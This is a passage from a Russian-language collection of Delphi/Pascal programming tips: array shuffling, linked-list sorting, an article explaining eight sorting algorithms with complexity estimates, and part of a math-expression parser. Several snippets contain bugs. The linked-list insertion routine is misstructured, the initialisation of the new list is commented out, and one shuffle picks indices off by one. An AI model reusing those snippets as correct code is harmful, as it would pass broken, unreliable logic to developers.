        Move(A[Inx * aItemSize], SwapItem^, aItemSize);
        Move(A[RandInx * aItemSize], A[Inx * aItemSize], aItemSize);
        Move(SwapItem^, A[RandInx * aItemSize], aItemSize);
      end;
    finally
      FreeMem(SwapItem, aItemSize);
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  a: array[1..10] of Integer;
  i: Shortint;
begin
  Randomize;
  for i := Low(a) to High(a) do a[i] := i;
  Shuffle(a, High(a), SizeOf(Integer));
  for i := 1 to High(a) - 1 do
    ListBox1.Items.Add(IntToStr(a[i]));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

Автор: Дедок Василий

type
  arr = array[1..255] of integer;

procedure FillArray(var A: arr; n: integer);
var
  i: integer;
  s: string;
  q: byte;
begin
  randomize;
  s := '';
  for i := 1 to n do
    begin
      q := random(i);
      insert(chr(i), s, q);
    end;
  for i := 1 to n do
    begin
      A[i] := ord(s[i]);
    end;
end;

Автор: Иваненко Фёдор Григорьевич

procedure FillArray(var A: array of Integer);
var
  I, S, R: Integer;
begin
  for I := 0 to High(A) do
    A[I] := I;
  for i := High(A) downto 0 do
  begin
    R := Random(I);
    S := A[R];
    A[R] := A[I];
    A[I] := S;
  end;
end;

Взято с http://delphiworld.narod.ru


Сортировка

Cодержание раздела:

Сортировка связанного списка
Алгоритмы сортировки

См. также статьи в других разделах:
Сортировка ListView при нажатии на заголовок
Сортировка столбцов в StringGrid


Сортировка связанного списка

program noname;

type
  PData = ^TData;
  TData = record
    next: PData;
    Name: string[40];
    { ...другие поля данных }
  end;

var
  root: PData; { это указатель на первую запись в связанном списке }

procedure InsertRecord(var root: PData; pItem: PData);
{ вставляем запись, на которую указывает pItem в список начиная
с root и с требуемым порядком сортировки }
var
  pWalk, pLast: PData;
begin
  if root = nil then
  begin
    { новый список все еще пуст, просто делаем запись,
    чтобы добавить root к новому списку }
    root := pItem;
    root^.next := nil
  end { If }
  else
  begin
    { проходимся по списку и сравниваем каждую запись с одной
    включаемой. Нам необходимо помнить последнюю запись,
    которую мы проверили, причина этого станет ясна немного позже. }
    pWalk := root;
    pLast := nil;

    { условие в следующем цикле While определяет порядок сортировки!
    Это идеальное место для передачи вызова функции сравнения,
    которой вы передаете дополнительный параметр InsertRecord для
    осуществления общей сортировки, например:

    While CompareItems( pWalk, pItem ) < 0 Do Begin
    where
    Procedure InsertRecord( Var list: PData; CompareItems: TCompareItems );
    and
    Type TCompareItems = Function( p1,p2:PData ): Integer;
    and a sample compare function:
    Function CompareName( p1,p2:PData ): Integer;
    Begin
    If p1^.Name < p2^.Name Then
    CompareName := -1
    Else
    If p1^.Name > p2^.Name Then
    CompareName := 1
    Else
    CompareName := 0;
    End;
    }
    while pWalk^.Name < pItem^.Name do
      if pWalk^.next = nil then
      begin
        { мы обнаружили конец списка, поэтому добавляем
        новую запись и выходим из процедуры }
        pWalk^.next := pItem;
        pItem^.next := nil;
        Exit;
      end { If }
      else
      begin
        { следующая запись, пожалуйста, но помните,
        что одну мы только что проверили! }
        pLast := pWalk;

        { если мы заканчиваем в этом месте, то значит мы нашли
        в списке запись, которая >= одной включенной. Поэтому
        вставьте ее перед записью, на которую в настоящий момент
        указывает pWalk, которая расположена после pLast. }
        if pLast = nil then
        begin
          { Упс, мы вывалились из цикла While на самой первой итерации!
          Новая запись должна располагаться в верхней части списка,
          поэтому она становится новым корнем (root)! }
          pItem^.next := root;
          root := pItem;
        end { If }
        else
        begin
          { вставляем pItem между pLast и pWalk }
          pItem^.next := pWalk;
          pLast^.next := pItem;
        end; { Else }
        { мы сделали это! }
      end; { Else }
  end; { InsertRecord }

procedure SortbyName(var list: PData);
var

  newtree, temp, stump: PData;
begin { SortByName }

  { немедленно выходим, если сортировать нечего }
  if list = nil then
    Exit;
  { в
  newtree := Nil;}

  {********
  Сортируем, просто беря записи из оригинального списка и вставляя их
  в новый, по пути "перехватывая" для определения правильной позиции в
  новом дереве. Stump используется для компенсации различий списков.
  temp используется для указания на запись, перемещаемую из одного
  списка в другой.
  ********}
  stump := list;
  while stump <> nil do
  begin
    { временная ссылка на перемещаемую запись }
    temp := stump;
    { "отключаем" ее от списка }
    stump := stump^.next;
    { вставляем ее в новый список }
    InsertRecord(newtree, temp);
  end; { While }

  { теперь помещаем начало нового, сортированного
  дерева в начало старого списка }
  list := newtree;
end; { SortByName }
begin

  New(root);
  root^.Name := 'BETA';
  New(root^.next);
  root^.next^.Name := 'ALPHA';
  New(root^.next^.next);
  root^.next^.next^.Name := 'Torture';

  WriteLn(root^.name);
  WriteLn(root^.next^.name);
  WriteLn(root^.next^.next^.name);
end.

Взято с http://delphiworld.narod.ru


Алгоритмы сортировки

Алгоритм 1. Сортировка вставками.

Это изящный и простой для понимания метод. Вот в чем его суть: создается новый ма ссив, в который мы последовательно вставляем элементы из исходного массива так, чтобы новый массив был упорядоченным. Вставка происходит следующим образом: в конце нового массива выделяется свободная ячейка, далее анализируется элемент, стоящий перед пустой ячейкой (если, конечно, пустая ячейка не стоит на первом месте), и если этот элемент больше вставляемого, то подвигаем элемент в свободную ячейку (при этом на том месте, где он стоял, образуется пустая ячейка) и сравниваем следующий элемент. Так мы прейдем к ситуации, когда элемент перед пустой ячейкой меньше вставляемого, или пустая ячейка стоит в начале массива. Помещаем вставляемый элемент в пустую ячейку . Таким образом, по очереди вставляем все элементы исходного массива. Очевидно, что если до вставки элемента массив был упорядочен, то после вставки перед вставленным элементом расположены все элементы, меньшие его, а после — большие. Так как порядок элементов в новом массиве не меняется, то сформированный массив будет упорядоченным после каждой вставки. А значит, после последней вставки мы получим упорядоченный исходный массив. Вот как такой алгоритм можно реализовать на языке программирования Pascal:

Program InsertionSort;
Var A,B   : array[1..1000] of integer;
    N,i,j  : integer;
Begin
{Определение размера массива A (N) и его заполнение}
 …
{сортировка данных}
 for i:=1 to N do
 begin
  j:=i;
  while (j>1) and (B[j-1]>A[i]) do
   begin
    B[j]:=B[j-1];
    j:=j-1;
   end;
  B[j]:=A[i];
 end;
 {Вывод массива B}
 …
End.

В принципе, данную сортировку можно реализовать и без дополнительного массива B, если сортировать массив A сразу при считывании, т. е. осуществлять вставку нового элемента в массив A.

Алгоритм 2. Пузырьковая сортировка.

Реализация данного метода не требует дополнительной памяти. Метод очень прост и состоит в следующем: берется пара рядом стоящих элементов, и если элемент с меньшим индексом оказывается больше элемента с большим индексом, то мы меняем их местами. Эти действия продолжаем, пока есть такие пары. Легко понять, что когда таких пар не останется, то данные будут отсортированными. Для упрощения поиска таких пар данные просматриваются по порядку от начала до конца. Из этого следует, что за такой просмотр находится максимум, который помещается в конец массива, а потому следующий раз достаточно просматривать уже меньшее количество элементов. Максимальный элемент как бы всплывает вверх, отсюда и название алгоритма Так как каждый раз на свое место становится по крайней мере один элемент, то не потребуется более N проходов, где N — количество элементов. Вот как это можно реализовать:

Program BubbleSort;
Var A    : array[1..1000] of integer;
    N,i,j,p : integer;
Begin
 {Определение размера массива A (N) и его заполнение}
 …
 {сортировка данных}
 for i:=1 to n do
  for j:=1 to n-i do
  if A[j]>A[j+1] then
   begin  {Обмен элементов}
    p:=A[j];
    A[j]:=A[j+1];
    A[j+1]:=P;
   end;
 {Вывод отсортированного массива A}
 …
End.

Алгоритм 3. Сортировка Шейкером.

Когда данные сортируются не в оперативной памяти, а на жестком диске, особенно если ключ связан с большим объемом дополнительной информации, то количество перемещений элементов существенно влияет на время работы. Этот алгоритм уменьшает количество таких перемещений, действуя следующим образом: за один проход из всех элементов выбирается минимальный и максимальный. Потом минимальный элемент помещается в начало массива, а максимальный, соответственно, в конец. Далее алгоритм выполняется для остальных данных. Таким образом, за каждый проход два элемента помещаются на свои места, а значит, понадобится N/2 проходов, где N — количество элементов. Реализация данного алгоритма выглядит так:

Program ShakerSort;
Var A       : array[1..1000] of integer;
    N,i,j,p    : integer;
    Min, Max : integer;
Begin
 {Определение размера массива A — N) и его заполнение}
 …
 {сортировка данных}
 for i:=1 to n div 2 do
  begin
   if A[i]>A[i+1] then
   begin
    Min:=i+1;
    Max:=i;
   end
   else
   begin
    Min:=i;
    Max:=i+1;
   end;
   for j:=i+2 to n-i+1 do
   if A[j]>A[Max] then
    Max:=j
   else
   if A[j]<A[Min] then
    Min:=j;
   {Обмен элементов}
    P:=A[i];
    A[i]:=A[min];
    A[min]:=P;
    if max=i then
    max:=min;
    P:=A[N-i+1];
    A[N-i+1]:=A[max];
    A[max]:=P;
  end;
 {Вывод отсортированного массива A}
 …
End.

Рассмотрев эти методы, сделаем определенные выводы. Их объединяет не только то, что они сортируют данные, но также и время их работы. В каждом из алгоритмов присутствуют вложенные циклы, время выполнения которых зависит от размера входных данных. Значит, общее время выполнения программ есть O(n2) (константа, умноженная на n2). Следует отметить, что первые два алгоритма используют также O(n2) перестановок, в то время как третий использует их O(n). Отсюда следует, что метод Шейкера является более выгодным для сортировки данных на внешних носителях информации.

Если вы думаете, что бравые «алгоритмщики» остановились на достигнутом, то вы ошибаетесь. Видите ли, временная оценка O(n2) показалась им слишком громоздкой, и они, жадины такие, решили еще потратить свое время, чтобы впоследствии сэкономить наше. Итак, давайте теперь рассмотрим более быстрые алгоритмы.

Алгоритм 4. Сортировка слиянием.

Эта сортировка использует следующую подзадачу: есть два отсортированных массива, нужно сделать (слить) из них один отсортированный. Алгоритм сортировки работает по такому принципу: разбить массив на две части, отсортировать каждую из них, а потом слить обе части в одну отсортированную. Корректность данного метода практически очевидна, поэтому перейдем к реализации.

Program SlivSort;
Var A,B : array[1..1000] of integer;
    N  : integer;
Procedure Sliv(p,q : integer); {процедура сливающая массивы}
Var r,i,j,k : integer;
Begin
 r:=(p+q) div 2;
 i:=p;
 j:=r+1;
 for k:=p to q do
 if (i<=r) and ((j>q) or (a[i]<a[j])) then
  begin
   b[k]:=a[i];
   i:=i+1;
  end
 else
  begin
   b[k]:=a[j];
   j:=j+1;
  end ;
 for k:=p to q do
  a[k]:=b[k];
End;
Procedure Sort(p,q : integer); {p,q — индексы начала и конца сортируемой части массива}
Begin
 if p<q then {массив из одного элемента тривиально упорядочен}
 begin
  Sort(p,(p+q) div 2);
  Sort((p+q) div 2 + 1,q);
  Sliv(p,q);
 end;
End;
Begin
 {Определение размера массива A — N) и его заполнение}
 …
 {запуск сортирующей процедуры}
 Sort(1,N);
 {Вывод отсортированного массива A}
  …
End.

Чтобы оценить время работы этого алгоритма, составим рекуррентное соотношение. Пускай T(n) — время сортировки массива длины n, тогда для сортировки слиянием справедливо T(n)=2T(n/2)+O(n) (O(n) — это время, необходимое на то, чтобы слить два массива). Распишем это соотношение:

T(n)=2T(n/2)+O(n)=4T(n/4)+2O(n/2)+O(n)=4T(n/4)+2O(n)= … = 2kT(1)+kO(n)

Осталось оценить k. Мы знаем, что 2k=n, а значит k=log2n. Уравнение примет вид T(n)=nT(1)+ log2nO(n). Так как T(1) — константа, то T(n)=O(n)+log2nO(n)=O(nlog2n). То есть, оценка времени работы сортировки слиянием меньше, чем у первых трех алгоритмов (я прошу прощения у тех, кто не понял мои рассуждения или не согласен с ними, — просто поверьте мне на слово). Перед тем как объяснить, чем этот метод лучше, рассмотрим еще один алгоритм.

Алгоритм 5. Сортировка двоичной кучей

Проблема первых трех алгоритмов, описанных в прошлой части статьи, состояла в том, что после того как элемент занимал свое место, информация об уже произведенных сравнениях никак не использовалась. Структура двоичного дерева позволяет сохранить эту информацию. Итак, представим массив в виде дерева (Рис. 1). Корень дерева — элемент с индексом 1; элемент с индексом i является «родителем» для элементов с индексами 2*i и 2*i+1, а те, в свою очередь, являются его «детьми». Каждый элемент кроме первого имеет «родителя» и может иметь до двух «детей» — речь ведь идет именно о ДВОИЧНОМ дереве. Очевидно, что корнем дерева является наименьший элемент, а наибольший не имеет детей. Тут возникают два вопроса: как нам такую кучу наплодить? И зачем нам это вообще нужно? Пренебрегая порядком, отвечу сразу на второй вопрос: мы хотим извлечь из кучи минимальный элемент, а потом как-то преобразовать и восстановить кучу. Таким образом, по очереди извлечь все элементы и получить отсортированный массив. И вот как мы собираемся это сделать: пусть поддеревья с корнями 2*i и 2*i+1 уже имеют свойство кучи, мы же хотим, чтобы такое свойство имело и поддерево с корнем i. Для этого, если корень больше наименьшего своего «ребенка», мы меняем корень дерева (элемент с индексом i) с этим «ребенком», после повторяем алгоритм для поддерева, куда перешел бывший корень. Выполняя этот алгоритм «снизу вверх» (сначала для маленьких поддеревьев, потом для больших), мы добьемся того, что свойство кучи будет выполняться для всего дерева. Извлечение элемента происходит очень простым способом: мы ставим последний элемент на первое место и запускаем алгоритм исправления кучи от корня дерева… Я тут много наговорил, но на самом деле, реализация совсем несложная:

Program HeapSort;
Var A,B  : array[1..1000] of integer;
    N,i,P : integer;
Procedure Heapi(ind : integer); {процедура, формирующая и исправляющяя кучу}
Var k    : integer;
Begin
 k:=ind*2;
 If k<=N then
 begin
  if (k+1<=N) and (A[k]>A[k+1]) then
  k:=k+1;
  if A[ind]>A[k] then
  begin
   P:=A[ind];
   A[ind]:=A[k];
   A[k]:=P;
   Heapi(k);
  end;
 end;
End;
Begin
 {Определение размера массива A — N) и его заполнение}
 …
 {формирование кучи}
 for i:=N div 2 downto 1 do
  Heapi(i);
 {формирование массива B}
 for i:=1 to N do
 begin
  B[i]:=A[1];
  A[1]:=A[N];
  N:=N-1;
  Heapi(1);
 end;
 {Вывод отсортированного массива B}
  …
End.

А теперь главное, т. е. оценка сложности. Время работы процедуры исправляющей кучу зависит от высоты дерева. Высота всего дерева равна log2n, значит, время работы процедуры есть O(log2n). Программа состоит из двух частей: формирование кучи и создание отсортированного массива B. Время исполнения каждой из частей не больше O(n log2n) (в каждой части исправляющая процедура вызывается не более n раз). Значит, время работы то же, что и в сортировке слиянием.

Теперь лирическое отступление насчет времени работы. Может, читатель думает, что быстрые алгоритмы сложны в исполнении и проще написать что-то вроде сортировки вставками. Что ж, рассмотрим простой пример: допустим, вы написали сортировку вставками, тщательно, с помощью ассемблера, и время работы получилось 2n2, а какой-нибудь раздолбай написал сортировку слиянием со временем работы 50nlog2n. И тут появилась необходимость отсортировать 1000000 элементов (что в наше время не редкость). Вы использовали крутой компьютер, который делает 108 операций сравнения и перестановки в секунду, а у него компьютер похуже — всего 106 операций в секунду. И вы будете ждать 2*(106)2/108 = 20 000 секунд (приблизительно 5.56 часов), а ваш конкурент — 50*(106)*log2(106)/106 = 1000 секунд (приблизительно 17 минут). Надеюсь, вы проведете это время (5 часов) с пользой для себя и поймете, что хороший алгоритм — быстрый алгоритм :-). Хотя, если вы будете сортировать маленький массив или много маленьких массивов, то 2n2 для вас будет лучше, чем 50nlog2n. Эту закономерность использует один из способов оптимизации сортировки слиянием: сортировать маленькие части массива вставками.

Теперь переходим к самому интересному, а именно к одной из самых быстрых и эффективных из известных сортировок, которая так и называется — «быстрая сортировка».

Алгоритм 6. Быстрая сортировка.

Как и в сортировке слиянием, массив разбивается на две части, с условием, что все элементы первой части меньше любого элемента второй. Потом каждая часть сортируется отдельно. Разбиение на части достигается упорядочиванием относительно некоторого элемента массива, т. е. в первой части все числа меньше либо равны этому элементу, а во второй, соответственно, больше либо равны. Два индекса проходят по массиву с разных сторон и ищут элементы, которые попали не в свою группу. Найдя такие элементы, их меняют местами. Тот элемент, на котором индексы пересекутся, и определяет разбиение на группы. Классическая реализация алгоритма выглядит так:

Program QuickSort;
Var A  : array[1..1000] of integer;
    N,T : integer;
Procedure Sort(p,q : integer); {p,q — индексы начала и конца сортируемой части массива}
Var i,j,r : integer;
Begin
 if p<q then {массив из одного элемента тривиально упорядочен}
 begin
  r:=A[p];
  i:=p-1;
  j:=q+1;
  while i<j do
   begin
    repeat
     i:=i+1;
    until A[i]>=r;
    repeat
     j:=j-1;
    until A[j]<=r;
    if i<j then
     begin
      T:=A[i];
      A[i]:=A[j];
      A[j]:=T;
     end;
   end;
  Sort(p,j);
  Sort(j+1,q);
 end;
End;
Begin
 {Определение размера массива A — N) и его заполнение}
 …
 {запуск сортирующей процедуры}
 Sort(1,N);
 {Вывод отсортированного массива A}
  …
End.

Что же делает данный алгоритм таким быстрым? Ну во-первых, если массив каждый раз будет делится на приблизительно равные части, то для него будет верно то же соотношение, что и для сортировки слиянием, т. е. время работы будет O(nlog2n). Это уже само по себе хорошо. Кроме того, константа при nlog2n очень мала, ввиду простоты внутреннего цикла программы. В комплексе это обеспечивает огромную скорость работы. Но как всегда есть одно «но». Вы, наверное, уже задумались: а что если массив не будет делится на равные части? Классическим примером является попытка «быстро» отсортировать уже отсортированный массив. При этом данные каждый раз будут делиться в пропорции 1 к n-1, и так n раз. Общее время работы при этом будет O(n2), тогда как вставкам, для того чтобы «понять», что массив уже отсортирован, требуется всего-навсего O(n). А на кой нам сортировка, которая одно сортирует хорошо, а другое плохо? А собственно, что она сортирует хорошо? Оказывается, что лучше всего она сортирует случайные массивы (порядок элементов в массиве случаен). И поэтому нам предлагают ввести в алгоритм долю случайности. А точнее, вставить randomize и вместо r:=A[p]; написать r:=A[random(q-p)+p]; т. е. теперь мы разбиваем данные не относительно конкретного, а относительно случайного элемента. Благодаря этому алгоритм получает приставку к имени «вероятностный». Особо недоверчивым предлагаю на своем опыте убедится, что данная модификация быстрой сортировки сортирует любые массивы столь же быстро.

А теперь еще один интересный факт: время O(nlog2n) является минимальным для сортировок, которые используют только попарное сравнение элементов и не использует структуру самих элементов. Тем, кому интересно, откуда это взялось, рекомендую поискать в литературе, доказательство я здесь приводить не намерен, не Дональд Кнут, в конце концов :-). Но вы обратили внимание, что для рассмотренных алгоритмов в принципе не важно, что сортировать — такими методами можно сортировать хоть числа, хоть строки, хоть какие-то абстрактные объекты. Следующие сортировки могут сортировать только определенные типы данных, но за счет этого они имеют рекордную временную оценку O(n).

Алгоритм 7. Сортировка подсчетом.

Этот метод подходит для сортировки целых чисел из не очень большого диапазона (сравнимого с размером массива). Идея вот в чем: для каждого элемента найти, сколько элементов, меньших определенного числа, и поместить это число на соответствующие место. Делается это так: за линейный проход по массиву мы для каждого из возможных значений подсчитываем, сколько элементов имеют такое значение. Потом добавляем к каждому из найденных чисел суму всех предыдущих. Получая, таким образом, сколько есть элементов, значения которых не больше данного значения. Далее, опять-таки за линейный проход, формируем из исходного массива новый отсортированный. При этом следим, чтобы два одинаковых элемента не были записаны в одно место. Если все равно непонятно, смотрите реализацию:

Program CountingSort;
Var A,B   : array[1..1000] of byte;
    C     : array[byte] of integer;
    N,i    : integer;
Begin
{Определение размера массива A (N) и его заполнение}
 …
{сортировка данных}
 for i:=0 to 255 do
 C[i]:=0;
 for i:=1 to N do
 C[A[i]]:=C[A[i]]+1;
 for i:=1 to 255 do
 C[i]:=C[i-1]+C[i];
 for i:=N downto 1 do
 begin
  B[C[A[i]]]:=A[i];
  C[A[i]]:=C[A[i]]-1; {здесь мы избегаем возможности записи двух одинаковых чисел в одну ячейку}
 end;
{Вывод массива B}
 …
End.

Этот простой метод не использует вложенных циклов и, учитывая небольшой диапазон значений, время его работы есть O(n).

Рассмотрев такое количество сортировок, можно задуматься: а будет ли результат их работы одинаковым? Странный вопрос, ведь все сортировки правильно сортируют данные, так почему же результат работы может быть разным? Хорошо, объясню: меньшие элементы всегда расположены перед большими, но порядок одинаковых элементов может быть нарушен. Если мы сортируем данные, которые состоят из одного ключа, то мы, конечно, не заметим разницы. Но если к ключу прилагается дополнительная информация, то одна сортировка может вернуть нам 1977 "Иванов" и 1977 "Сидоров", а другая — 1977 "Сидоров" и 1977 "Иванов". Значит, порядок одинаковых элементов может в процессе сортировки стать другим. Правда, это бывает далеко не всегда и не в каждой сортировке. В сортировках вставками, пузырьком, подсчетом и слиянием порядок элементов с одинаковыми ключами всегда такой же, как и в изначальном массиве. Такие сортировки называются устойчивыми, и сейчас я познакомлю вас с улучшенной сортировкой подсчетом, которая позволяет сортировать числа большего диапазона, используя другую устойчивую сортировку.

Алгоритм 8. Цифровая сортировка.

Этой сортировкой можно сортировать целые неотрицательные числа большого диапазона. Идея состоит в следующем: отсортировать числа по младшему разряду, потом устойчивой сортировкой сортируем по второму, третьему, и так до старшего разряда. В качестве устойчивой сортировки можно выбрать сортировку подсчетом, в виду малого времени работы. Реализация такова:

Program RadixSort;
Var A,B   : array[1..1000] of word;
   N,i    : integer;
   t      : longint;
Procedure Sort; {сортировка подсчетом}
Var C    : array[0..9] of integer;
    j     : integer;
Begin
 For j:=0 to 9 do
 C[j]:=0;
 For j:=1 to N do
 C[(A[j] mod (t*10)) div t]:= C[(A[j] mod (t*10)) div t]+1;
 For j:=1 to 9 do
 C[j]:=C[j-1]+C[j];
 For j:=N downto 1 do
 begin
  B[C[(A[j] mod (t*10)) div t]]:=A[j];
  C[(A[j] mod (t*10)) div t] := C[(A[j] mod (t*10)) div t]-1;
 end;
End;
Begin
{Определение размера массива A (N) и его заполнение}
 …
{сортировка данных}
 t:=1;
 for i:=1 to 5 do
 begin
  Sort;
  A:=B;
  t:= t*10;
 end;
{Вывод массива A}
 …
End.

Так как сортировка подсчетом вызывается константное число раз, то время работы всей сортировки есть O(n). Заметим, что таким способом можно сортировать не только числа, но и строки, если же использовать сортировку слиянием в качестве устойчивой, то можно сортировать объекты по нескольким полям.
Теперь вы владеете достаточным арсеналом, чтобы сортировать все что угодно и как угодно. Помните, что выбор нужной вам сортировки зависит от того, какие данные вы будете сортировать и где вы их будете сортировать.
P.S. Все программы рабочие — если, конечно, вам не лень будет заменить три точки на код ввода и вывода массивов :-).

Владимир ТКАЧУК vova.tkachuk@ua.fm
Взято с http://mycomp.com.ua

См. также статьи в других разделах:
Сортировка столбцов в StringGrid


Как вычислить математическое выражение

Зачастую пользователь должен ввести что-то типа "1+2/(3*4)" и программа должна разобрать выражение и произвести вычисления. Делается это с помощью рекурсивных функций, которые постеменно разбирают выражение. К счастью не обязательно изобретать велосипед: в бесплатной библиотеке RxLib есть модуль Parsing.pas включающий в себя класс для вычисления математических выражений, библиотеку можно взять на

http://www.rxlib.ru/Downl/Downl.htm
или

http://www.torry.net

Модуль Parsing.pas вполне может работать отдельно и без установки пакета компонент (но в таком случае вам прийдется взять еще несколько inc файлов помимо него).

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

В Delphi нет функции, которая бы позволяла посчитать строку с формулой. Но есть множество способов реализовать это самому. Здесь я привел самый простой из них. Он не очень быстрый, но при нынешних скоростях компьютеров для многих целей он подойдет.

Принцип его заключается в следующем. Сначала строка оптимизируется – выкидываются все пробелы, точки и запятые меняются на установленный разделяющий знак (DecimalSeparator). Все числа и параметры (например, x), содержащиеся в строке "обособляются" символом #. В дальнейшем это позволяет избежать путаницы с экспонентой, минусами и. т. д. Следующий шаг – замена, если нужно, всех параметров на их значения. И, наконец, последний шаг, подсчет получившейся строки. Для этого программа ищет все операции с самым высоким приоритетом (это скобки). Считает их значение, вызывая саму себя (рекурсивная функция), и заменяет скобки и их содержимое на их значение, обособленное #. Дальше она выполняет то же самое для операции с более низким приоритетом и так до сложения с вычитанием.

Каждый шаг выделен в отдельную процедуру. Это позволяет быстрее считать функцию, если она не меняется, а меняются только значения параметров.

Вот модуль с этими методами.

unit Recognition;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Math;

type
  TVar = set of char;

procedure Preparation(var s: String; variables: TVar);
function ChangeVar(s: String; c: char; value: extended): String;
function Recogn(st: String; var Num: extended): boolean;

implementation

procedure Preparation(var s: String; variables: TVar);
const
  operators: set of char = ['+','-','*', '/', '^'];
var
  i: integer;
  figures: set of char;
begin
  figures := ['0','1','2','3','4','5','6','7','8','9', DecimalSeparator] + variables;

// " "
  repeat
    i := pos(' ', s);
    if i <= 0 then break;
    delete(s, i, 1);

  until 1 = 0;

  s := LowerCase(s);

// ".", ","
  if DecimalSeparator = '.' then begin
    i := pos(',', s);
    while i > 0 do begin
      s[i] := '.';
      i := pos(',', s);
    end;
  end else begin
    i := pos('.', s);
    while i > 0 do begin
      s[i] := ',';
      i := pos('.', s);
    end;
  end;

// Pi

  repeat
    i := pos('pi', s);
    if i <= 0 then break;
    delete(s, i, 2);
    insert(FloatToStr(Pi), s, i);
  until 1 = 0;

// ":"
  repeat
    i := pos(':', s);
    if i <= 0 then break;
    s[i] := '/';
  until 1 = 0;

// |...|
  repeat
    i := pos('|', s);
    if i <= 0 then break;
    s[i] := 'a';
    insert('bs(', s, i + 1);
    i := i + 3;

    repeat i := i + 1 until (i > Length(s)) or (s[i] = '|');
    if s[i] = '|' then s[i] := ')';
  until 1 = 0;

// #...#
  i := 1;
  repeat
    if s[i] in figures then begin
      insert('#', s, i);
      i := i + 2;
      while (s[i] in figures) do i := i + 1;
      insert('#', s, i);
      i := i + 1;
    end;
    i := i + 1;
  until i > Length(s);

end;

function ChangeVar(s: String; c: char; value: extended): String;
var
  p: integer;
begin
  result := s;
  repeat
    p := pos(c, result);
    if p <= 0 then break;
    delete(result, p, 1);
    insert(FloatToStr(value), result, p);
  until 1 = 0;
end;

function Recogn(st: String; var Num: extended): boolean;
const
  pogr = 1E-5;
var

  p, p1: integer;
  i, j: integer;
  v1, v2: extended;
  func: (fNone, fSin, fCos, fTg, fCtg, fArcsin, fArccos, fArctg, fArcctg, fAbs, fLn, fLg, fExp);
  Sign: integer;
  s: String;
  s1: String;

  function FindLeftValue(p: integer; var Margin: integer; var Value: extended): boolean;
  var
    i: integer;
  begin
    i := p - 1;
    repeat i := i - 1 until (i <= 0) or (s[i] = '#');

    Margin := i;
    try
      Value := StrToFloat(copy(s, i + 1, p - i - 2));
      result := true;
    except
      result := false
    end;
    delete(s, i, p - i);
  end;

  function FindRightValue(p: integer; var Value: extended): boolean;
  var
    i: integer;
  begin
    i := p + 1;
    repeat i := i + 1 until (i > Length(s)) or (s[i] = '#');
    i := i - 1;
    s1 := copy(s, p + 2, i - p - 1);

    result := TextToFloat(PChar(s1), value, fvExtended);
    delete(s, p + 1, i - p + 1);
  end;

  procedure PutValue(p: integer; NewValue: extended);
  begin
    insert('#' + FloatToStr(v1) + '#', s, p);
  end;

begin
  Result := false;
  s := st;

// ()
  p := pos('(', s);
  while p > 0 do begin
    i := p;
    j := 1;
    repeat
      i := i + 1;
      if s[i] = '(' then j := j + 1;

      if s[i] = ')' then j := j - 1;
    until (i > Length(s)) or (j <= 0);
    if i > Length(s) then s := s + ')';
    if Recogn(copy(s, p + 1, i - p - 1), v1) = false then Exit;
    delete(s, p, i - p + 1);
    PutValue(p, v1);

    p := pos('(', s);
  end;

// sin, cos, tg, ctg, arcsin, arccos, arctg, arcctg, abs, ln, lg, log, exp
  repeat
    func := fNone;
    p1 := pos('sin', s);

    if p1 > 0 then begin
      func := fSin;
      p := p1;
    end;
    p1 := pos('cos', s);
    if p1 > 0 then begin
      func := fCos;
      p := p1;
    end;
    p1 := pos('tg', s);
    if p1 > 0 then begin
      func := fTg;
      p := p1;
    end;
    p1 := pos('ctg', s);
    if p1 > 0 then begin
      func := fCtg;
      p := p1;

    end;
    p1 := pos('arcsin', s);
    if p1 > 0 then begin
      func := fArcsin;
      p := p1;
    end;
    p1 := pos('arccos', s);
    if p1 > 0 then begin
      func := fArccos;
      p := p1;
    end;
    p1 := pos('arctg', s);
    if p1 > 0 then begin
      func := fArctg;
      p := p1;
    end;
    p1 := pos('arcctg', s);
    if p1 > 0 then begin

      func := fArcctg;
      p := p1;
    end;
    p1 := pos('abs', s);
    if p1 > 0 then begin
      func := fAbs;
      p := p1;
    end;
    p1 := pos('ln', s);
    if p1 > 0 then begin
      func := fLn;
      p := p1;
    end;
    p1 := pos('lg', s);
    if p1 > 0 then begin
      func := fLg;
      p := p1;
    end;
    p1 := pos('exp', s);
    if p1 > 0 then begin

      func := fExp;
      p := p1;
    end;
    if func = fNone then break;

    case func of
      fSin, fCos, fCtg, fAbs, fExp: i := p + 2;
      fArctg: i := p + 4;
      fArcsin, fArccos, fArcctg: i := p + 5;
      else i := p + 1;
    end;
    if FindRightValue(i, v1) = false then Exit;
    delete(s, p, i - p + 1);
    case func of
      fSin: v1 := sin(v1);
      fCos: v1 := cos(v1);

      fTg: begin
        if abs(cos(v1)) < pogr then Exit;
        v1 := sin(v1) / cos(v1);
      end;
      fCtg: begin
        if abs(sin(v1)) < pogr then Exit;
        v1 := cos(v1) / sin(v1);
      end;
      fArcsin: begin
        if Abs(v1) > 1 then Exit;
        v1 := arcsin(v1);
      end;
      fArccos: begin
        if abs(v1) > 1 then Exit;

        v1 := arccos(v1);
      end;
      fArctg: v1 := arctan(v1);
//      fArcctg: v1 := arcctan(v1);
      fAbs: v1 := abs(v1);
      fLn: begin
        if v1 < pogr then Exit;
        v1 := Ln(v1);
      end;
      fLg: begin
        if v1 < 0 then Exit;
        v1 := Log10(v1);
      end;
      fExp: v1 := exp(v1);
    end;
    PutValue(p, v1);
  until func = fNone;

// power
  p := pos('^', s);
  while p > 0 do begin
    if FindRightValue(p, v2) = false then Exit;
    if FindLeftValue(p, i, v1) = false then Exit;
    if (v1 < 0) and (abs(Frac(v2)) > pogr) then Exit;
    if (abs(v1) < pogr) and (v2 < 0) then Exit;
    delete(s, i, 1);
    v1 := Power(v1, v2);
    PutValue(i, v1);
    p := pos('^', s);
  end;

// *, /
  p := pos('*', s);
  p1 := pos('/', s);
  if (p1 > 0) and ((p1 < p) or (p <= 0)) then p := p1;
  while p > 0 do begin
    if FindRightValue(p, v2) = false then Exit;
    if FindLeftValue(p, i, v1) = false then Exit;
    if s[i] = '*'
      then v1 := v1 * v2
      else begin
        if abs(v2) < pogr then Exit;

        v1 := v1 / v2;
      end;
    delete(s, i, 1);
    PutValue(i, v1);

    p := pos('*', s);
    p1 := pos('/', s);
    if (p1 > 0) and ((p1 < p) or (p <= 0)) then p := p1;
  end;

